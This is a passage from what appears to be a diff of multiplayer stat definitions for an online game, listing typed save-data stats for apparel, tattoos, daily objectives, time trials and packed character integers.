or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_47 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_48 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_49 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_50 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)CURRENTVEHICLESALESSEASON // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(int)PREVIOUSSEASONEXPLOITLEVEL // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(int)PREVIOUSSEASON2EXPLOITLEVEL // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(int)PREVIOUSSEASON3EXPLOITLEVEL // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(int)PREVIOUSSEASON4EXPLOITLEVEL // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset + +(int)MPPLY_SEASONTOCLEAR // MP Char 0 - Weapons unlocked bitset + +(int)ALLOW_GENDER_CHANGE // Add MP0_ or MP1_ // Is the player allowed to change this character gender + + +(int)CHAR_PEAK_EXPLOIT_LEVEL // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(int)CURRENTVEHICLESALESTUSEASON // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset + +(int)CHAR_FM_PIM_HIDE_JOBS // Add MP0_ or MP1_ // MP Char 0 - For hide show stats +(int)CHAR_FM_PIM_HIDE_AMBIENT // Add MP0_ or MP1_ // MP Char 0 - For hide show stats +(int)CHAR_FM_PIM_HIDE_MISC // Add MP0_ or MP1_ // MP Char 0 - For hide show stats + +(date)REPEAT_OFFENDER_1_TIME // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset +(date)REPEAT_OFFENDER_2_TIME // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset + + +(int)MPPLY_CHAR_PEAK_EXPLOIT_LEVEL // MP Char 0 - Weapons unlocked bitset +(int)MPPLY_CURRENTVEHSALESTUSEASON // MP Char 0 - Weapons unlocked bitset + +(date)MPPLY_REPEAT_OFFENDER_1_TIME // MP Char 0 - Weapons unlocked bitset +(date)MPPLY_REPEAT_OFFENDER_2_TIME // MP Char 0 - Weapons unlocked bitset +(int)MPPLY_CURRENTVEHSALESSEASON // MP Char 0 - Weapons unlocked bitset +(int)MPPLY_THRESHOLD_RESET // MP Char 0 - Weapons unlocked bitset +(int)MPPLY_PREVSEASONEXPLOITLEVEL // MP Char 0 - Weapons unlocked bitset +(int)MPPLY_PREVSEASON2EXPLOITLEVEL // MP Char 0 - Weapons unlocked bitset +(int)MPPLY_PREVSEASON3EXPLOITLEVEL // MP Char 0 - Weapons unlocked bitset +(int)MPPLY_PREVSEASON4EXPLOITLEVEL // MP Char 0 - Weapons unlocked bitset + + + + + + +(bool)UNLOCKED_MESSAGE_FLEECA // Add MP0_ or MP1_ // MP Char 0 - Display help text after heist + +(bool)REMAINHOSTOPTION_PC // Add MP0_ or MP1_ // MP Char 0 - PC only stat to remain host menu option + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +(int)FM_NON_MS_HELP_TEXT8 // Add MP0_ or MP1_ // Tracks if NMH has been displayed +(int)MPPLY_TIMETRIAL_COMPLETED_WEEK // to record whether a player has completed a Time Trial for that week or not +(int)MPPLY_TIMETRIALBESTTIME // to record best time trial time + + +(int)CHAR_FM_CLOTHES_1_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 1 +(int)CHAR_FM_CLOTHES_2_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 2 +(int)CHAR_FM_CLOTHES_3_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 +(int)CHAR_FM_CLOTHES_4_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 +(int)CHAR_FM_CLOTHES_5_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 +(int)CHAR_FM_CLOTHES_6_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 +(int)CHAR_FM_CLOTHES_7_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 +(int)CHAR_FM_CLOTHES_8_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 +(int)CHAR_FM_CLOTHES_9_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 +(int)CHAR_FM_CLOTHES_10_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 +(int)CHAR_FM_CLOTHES_11_OWNED // Add MP0_ or MP1_ // MP Char 0 - Player Clothes Owned bitset 3 + +(int)NUM_FM_EVENTS_PLAYED // Add MP0_ or MP1_ // Tracks how many FMEVENTS have been played + +(bool)MPPLY_DLCESP // . + +(int)MPPLY_SCADMIN_REWARD // SCADMIN can set which default screen we show for the rewards +(bool)COMPLETEDDAILYOBJECTIVES // Add MP0_ or MP1_ // For martin m's daily objectives +(bool)LOGGEDINTODAY // Add MP0_ or MP1_ // For martin m's daily objectives +(int)DAILYOBJECTIVEXVALUE // Add MP0_ or MP1_ // For martin m's daily objectives +(int)LASTHISTORYLENGTH // Add MP0_ or MP1_ // For martin m's daily objectives +(int)LASTRESETTIME // Add MP0_ or MP1_ // For martin m's daily objectives + +(int)OBJECTIVEDAILYOBJECTIVES0 // Add MP0_ or MP1_ // For martin m's daily objectives +(bool)DAILYOBJECTIVESCOMPLETED0 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)DAILYOBJECTIVEINITIALVALUE0 // Add MP0_ or MP1_ // For martin m's daily objectives + +(int)OBJECTIVEDAILYOBJECTIVES1 // Add MP0_ or MP1_ // For martin m's daily objectives +(bool)DAILYOBJECTIVESCOMPLETED1 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)DAILYOBJECTIVEINITIALVALUE1 // Add MP0_ or MP1_ // For martin m's daily objectives + +(int)OBJECTIVEDAILYOBJECTIVES2 // Add MP0_ or MP1_ // For martin m's daily objectives +(bool)DAILYOBJECTIVESCOMPLETED2 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)DAILYOBJECTIVEINITIALVALUE2 // Add MP0_ or MP1_ // For martin m's daily objectives + +(int)OBJECTIVEHISTORY0 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY1 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY2 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY3 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY4 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY5 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY6 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY7 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY8 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY9 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY10 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY11 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY12 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY13 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY14 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY15 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY16 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY17 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY18 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY19 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY20 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY21 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY22 // Add MP0_ or MP1_ // For martin m's daily objectives +(int)OBJECTIVEHISTORY23 // Add MP0_ or MP1_ // For martin m's daily objectives + +(bool)DONEDAILYOBJHANDOVER // Add MP0_ or MP1_ // For martin m's daily objectives + +(int)COMPLETEDAILYOBJSA // Add MP0_ or MP1_ // Freemode activity phonecall +(int)COMPLETEDAILYOBJTOTALSA // Add MP0_ or MP1_ // Freemode activity phonecall +(int)TOTALDAYCOMPLETEDSA // Add MP0_ or MP1_ // Freemode activity phonecall +(int)TOTALWEEKCOMPLETEDSA // Add MP0_ or MP1_ // Freemode activity phonecall +(int)TOTALMONTHCOMPLETEDSA // Add MP0_ or MP1_ // Freemode activity phonecall +(int)CONSECUTIVEDAYCOMPLETEDSA // Add MP0_ or MP1_ // Freemode activity phonecall +(int)CONSECUTIVEWEEKCOMPLETEDSA // Add MP0_ or MP1_ // Freemode activity phonecall +(int)CONSECUTIVEMONTHCOMPLETESA // Add MP0_ or MP1_ // Freemode activity phonecall + +(int)DSP_CTL_PLAYED_BIT_SET // Add MP0_ or MP1_ // For bobby + +(int)AWD_DAILYOBJCOMPLETEDSA // Add MP0_ or MP1_ // Daily Objectives Daily Duty ~1~ Daily Objectives completed. server authoritive version +(bool)AWD_DAILYOBJWEEKBONUSSA // Add MP0_ or MP1_ // Daily Objectives Goal Oriented Completed a Daily Objective Weekly Bonus. server authoritive version +(bool)AWD_DAILYOBJMONTHBONUSSA // Add MP0_ or MP1_ // Daily Objectives Over Achiever Completed a Daily Objective Monthly Bonus server authoritive version + +(int)DLC_APPAREL_ACQUIRED_51 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_52 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_53 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_54 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_55 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_56 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_57 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_58 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_59 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_60 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_61 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_51 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_52 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_53 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_54 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_55 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_56 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_57 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_58 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_59 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_60 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_61 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)MPPLY_UNLOCK_EXCLUS_CONTENT // Lock exclusive Content + +(bool)GIVE_FIREWORK_LAUNCH_AMMO // Add MP0_ or MP1_ // Gives full ammo initially for peeps who already own firework gun + +(int)TATTOO_FM_UNLOCKS_17 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_17 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_17 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_18 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_18 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_18 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_19 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_19 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_19 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 + + +(packed)LRPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT108 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT109 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT110 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT111 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT112 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT113 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT114 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT115 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT116 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT117 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT118 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT119 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT120 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT121 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT122 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT123 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT124 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT125 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT126 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT127 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT128 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT129 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT130 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT131 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT132 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT133 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT134 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT135 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT136 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT137 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT138 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT139 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT140 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT141 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT142 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT143 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT144 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT145 // Add MP0_ or MP1_ 